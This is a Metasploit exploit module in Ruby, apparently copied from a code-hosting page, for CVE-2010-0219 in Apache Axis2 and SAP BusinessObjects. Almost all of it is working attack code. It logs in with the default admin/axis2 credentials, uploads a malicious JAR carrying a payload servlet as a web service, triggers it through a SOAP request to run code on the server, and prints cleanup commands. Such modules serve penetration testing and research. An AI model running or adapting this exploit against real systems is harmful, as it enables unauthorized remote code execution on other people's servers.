275 lines
7.7 KiB
Ruby
275 lines
7.7 KiB
Ruby
|
##
|
||
|
# $Id$
|
||
|
##
|
||
|
|
||
|
##
|
||
|
# This file is part of the Metasploit Framework and may be subject to
|
||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||
|
# Framework web site for more information on licensing and terms of use.
|
||
|
# http://metasploit.com/framework/
|
||
|
##
|
||
|
|
||
|
|
||
|
require 'msf/core'
|
||
|
|
||
|
|
||
|
class Metasploit3 < Msf::Exploit
|
||
|
Rank = ExcellentRanking
|
||
|
|
||
|
HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
|
||
|
|
||
|
include Msf::Exploit::Remote::HttpClient
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'Axis2 / SAP BusinessObjects dswsbobje Upload Exec',
|
||
|
'Version' => '$Revision$',
|
||
|
'Description' => 'This module logins to a Axis2 Web Admin Module instance using a specific user/pass and uploads and executes commands via deploying a malicious web service by using SOAP.',
|
||
|
'References' =>
|
||
|
[
|
||
|
# General
|
||
|
[ 'URL', 'http://www.rapid7.com/security-center/advisories/R7-0037.jsp' ],
|
||
|
[ 'URL', 'http://spl0it.org/files/talks/source_barcelona10/Hacking%20SAP%20BusinessObjects.pdf' ],
|
||
|
[ 'CVE', '2010-0219' ],
|
||
|
],
|
||
|
'Platform' => [ 'java', 'win', 'linux' ], # others?
|
||
|
'Targets' =>
|
||
|
[
|
||
|
[ 'Java', {
|
||
|
'Arch' => ARCH_JAVA,
|
||
|
'Platform' => 'java'
|
||
|
},
|
||
|
],
|
||
|
#
|
||
|
# Platform specific targets only
|
||
|
#
|
||
|
[ 'Windows Universal',
|
||
|
{
|
||
|
'Arch' => ARCH_X86,
|
||
|
'Platform' => 'win'
|
||
|
},
|
||
|
],
|
||
|
|
||
|
[ 'Linux X86',
|
||
|
{
|
||
|
'Arch' => ARCH_X86,
|
||
|
'Platform' => 'linux'
|
||
|
},
|
||
|
],
|
||
|
],
|
||
|
'Author' => [ 'Joshua Abraham <jabra[at]rapid7.com>' ],
|
||
|
'License' => MSF_LICENSE
|
||
|
))
|
||
|
|
||
|
register_options(
|
||
|
[
|
||
|
Opt::RPORT(8080),
|
||
|
OptString.new('USERNAME', [ false, 'The username to authenticate as','admin' ]),
|
||
|
OptString.new('PASSWORD', [ false, 'The password for the specified username','axis2' ]),
|
||
|
OptString.new('PATH', [ true, "The URI path of the axis2 app (use /dswsbobje for SAP BusinessObjects)", '/axis2'])
|
||
|
], self.class)
|
||
|
register_autofilter_ports([ 8080 ])
|
||
|
end
|
||
|
|
||
|
def upload_exec(session)
|
||
|
contents=''
|
||
|
name = Rex::Text.rand_text_alpha(8)
|
||
|
services_xml = %Q{
|
||
|
<service name="#{name}" scope="application">
|
||
|
<description>
|
||
|
#{Rex::Text.rand_text_alphanumeric(50 + rand(50))}
|
||
|
</description>
|
||
|
<messageReceivers>
|
||
|
<messageReceiver
|
||
|
mep="http://www.w3.org/2004/08/wsdl/in-only"
|
||
|
class="org.apache.axis2.rpc.receivers.RPCInOnlyMessageReceiver"/>
|
||
|
<messageReceiver
|
||
|
mep="http://www.w3.org/2004/08/wsdl/in-out"
|
||
|
class="org.apache.axis2.rpc.receivers.RPCMessageReceiver"/>
|
||
|
</messageReceivers>
|
||
|
<parameter name="ServiceClass">
|
||
|
metasploit.PayloadServlet
|
||
|
</parameter>
|
||
|
</service>
|
||
|
}
|
||
|
if target.name =~ /Java/
|
||
|
zip = payload.encoded_jar
|
||
|
zip.add_file("META-INF/services.xml", services_xml)
|
||
|
|
||
|
# We need this class as a wrapper to run in a thread. For some reason
|
||
|
# the Payload class is giving illegal access exceptions without it.
|
||
|
path = File.join(Msf::Config.install_root, "data", "java", "metasploit", "PayloadServlet.class")
|
||
|
fd = File.open(path, "rb")
|
||
|
servlet = fd.read(fd.stat.size)
|
||
|
fd.close
|
||
|
zip.add_file("metasploit/PayloadServlet.class", servlet)
|
||
|
|
||
|
contents = zip.pack
|
||
|
else
|
||
|
|
||
|
end
|
||
|
|
||
|
boundary = rand_text_alphanumeric(6)
|
||
|
|
||
|
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"filename\"; "
|
||
|
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
|
||
|
data << contents
|
||
|
data << "\r\n--#{boundary}--"
|
||
|
|
||
|
res = send_request_raw({
|
||
|
'uri' => "/#{datastore['PATH']}/axis2-admin/upload",
|
||
|
'method' => 'POST',
|
||
|
'data' => data,
|
||
|
'headers' =>
|
||
|
{
|
||
|
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
|
||
|
'Content-Length' => data.length,
|
||
|
'Cookie' => "JSESSIONID=#{session}",
|
||
|
}
|
||
|
}, 25)
|
||
|
|
||
|
if (res and res.code == 200)
|
||
|
print_status("Successfully uploaded")
|
||
|
else
|
||
|
print_error("Error uploading #{res}")
|
||
|
return
|
||
|
end
|
||
|
=begin
|
||
|
res = send_request_raw({
|
||
|
'uri' => "/#{datastore['PATH']}/axis2-web/HappyAxis.jsp",
|
||
|
'method' => 'GET',
|
||
|
'headers' =>
|
||
|
{
|
||
|
'Cookie' => "JSESSIONID=#{session}",
|
||
|
}
|
||
|
}, 25)
|
||
|
puts res.body
|
||
|
puts res.code
|
||
|
if res.code > 200 and res.code < 300
|
||
|
if ( res.body.scan(/([A-Z] \Program Files\Apache Software Foundation\Tomcat \d.\d)/i) )
|
||
|
dir = $1.sub(/: /,':') + "\\webapps\\dswsbobje\\WEB-INF\\services\\"
|
||
|
puts dir
|
||
|
else
|
||
|
if ( a.scan(/catalina\.home<\/th><td style=".*">(.*) <\/td>/i) )
|
||
|
dir = $1 + "/webapps/dswsbobje/WEB-INF/services/"
|
||
|
puts dir
|
||
|
end
|
||
|
end
|
||
|
end
|
||
|
=end
|
||
|
|
||
|
|
||
|
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
|
||
|
xmlns='http://session.dsws.businessobjects.com/2007/06/01'
|
||
|
xsi='http://www.w3.org/2001/XMLSchema-instance'
|
||
|
|
||
|
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||
|
data << '<soapenv:Envelope xmlns:soapenv="' + soapenv + '" xmlns:ns="' + xmlns + '">' + "\r\n"
|
||
|
data << '<soapenv:Header/>' + "\r\n"
|
||
|
data << '<soapenv:Body>' + "\r\n"
|
||
|
data << '<soapenv:run/>' + "\r\n"
|
||
|
data << '</soapenv:Body>' + "\r\n"
|
||
|
data << '</soapenv:Envelope>' + "\r\n\r\n"
|
||
|
|
||
|
print_status("Polling to see if the service is ready")
|
||
|
1.upto 3 do
|
||
|
Rex::ThreadSafe.sleep(3)
|
||
|
|
||
|
res = send_request_raw({
|
||
|
'uri' => "/#{datastore['PATH']}/services/#{name}",
|
||
|
'method' => 'POST',
|
||
|
'data' => data,
|
||
|
'headers' =>
|
||
|
{
|
||
|
'Content-Length' => data.length,
|
||
|
'SOAPAction' => '"' + 'http://session.dsws.businessobjects.com/2007/06/01/run' + '"',
|
||
|
'Content-Type' => 'text/xml; charset=UTF-8',
|
||
|
}
|
||
|
}, 15)
|
||
|
if res.code > 200 and res.code < 300
|
||
|
print_status("")
|
||
|
print_status("NOTE: You will need to delete the web service that was uploaded.")
|
||
|
print_status("Using meterpreter:")
|
||
|
print_status("rm \"webapps/#{datastore['PATH']}/WEB-INF/services/#{name}.jar\"")
|
||
|
print_status("Using the shell:")
|
||
|
print_status("cd \"webapps/#{datastore['PATH']}/WEB-INF/services\"")
|
||
|
print_status("del #{name}.jar")
|
||
|
print_status("")
|
||
|
break
|
||
|
end
|
||
|
|
||
|
end
|
||
|
|
||
|
=begin
|
||
|
useful for axis2 or REST
|
||
|
# Try to execute the payload
|
||
|
1.upto 5 do
|
||
|
Rex::ThreadSafe.sleep(3)
|
||
|
print_status("Polling to see if the service is ready")
|
||
|
res = send_request_raw({
|
||
|
'uri' => "/#{datastore['PATH']}/services/#{name}/run",
|
||
|
'method' => 'GET',
|
||
|
'headers' =>
|
||
|
{
|
||
|
'Cookie' => "JSESSIONID=#{session}",
|
||
|
}
|
||
|
}, 25)
|
||
|
if res.code >= 200 and res.code < 300
|
||
|
# This should usually mean we got a shell
|
||
|
break
|
||
|
end
|
||
|
end
|
||
|
=end
|
||
|
|
||
|
end
|
||
|
|
||
|
def exploit
|
||
|
user = datastore['USERNAME']
|
||
|
pass = datastore['PASSWORD']
|
||
|
path = datastore['PATH']
|
||
|
success = false
|
||
|
srvhdr = '?'
|
||
|
begin
|
||
|
res = send_request_cgi(
|
||
|
{
|
||
|
'method' => 'POST',
|
||
|
'uri' => "/#{path}/axis2-admin/login",
|
||
|
'ctype' => 'application/x-www-form-urlencoded',
|
||
|
'data' => "userName=#{user}&password=#{pass}&submit=+Login+",
|
||
|
}, 25)
|
||
|
|
||
|
if not (res.kind_of? Rex::Proto::Http::Response)
|
||
|
raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin not responding")
|
||
|
end
|
||
|
|
||
|
if res.code == 404
|
||
|
raise RuntimeError.new("http://#{rhost}:#{rport}/#{path}/axis2-admin returned code 404")
|
||
|
end
|
||
|
|
||
|
srvhdr = res.headers['Server']
|
||
|
if res.code == 200
|
||
|
# Could go with res.headers["Server"] =~ /Apache-Coyote/i
|
||
|
# as well but that seems like an element someone's more
|
||
|
# likely to change
|
||
|
|
||
|
success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1)
|
||
|
if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/)
|
||
|
session = $1
|
||
|
end
|
||
|
end
|
||
|
|
||
|
rescue ::Rex::ConnectionError
|
||
|
print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin Unable to attempt authentication")
|
||
|
end
|
||
|
|
||
|
if success
|
||
|
print_good("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] successful login '#{user}' : '#{pass}'")
|
||
|
upload_exec(session)
|
||
|
else
|
||
|
print_error("http://#{rhost}:#{rport}/#{path}/axis2-admin [#{srvhdr}] [Axis2 Web Admin Module] failed to login as '#{user}'")
|
||
|
end
|
||
|
end
|
||
|
|
||
|
end
|
||
|
|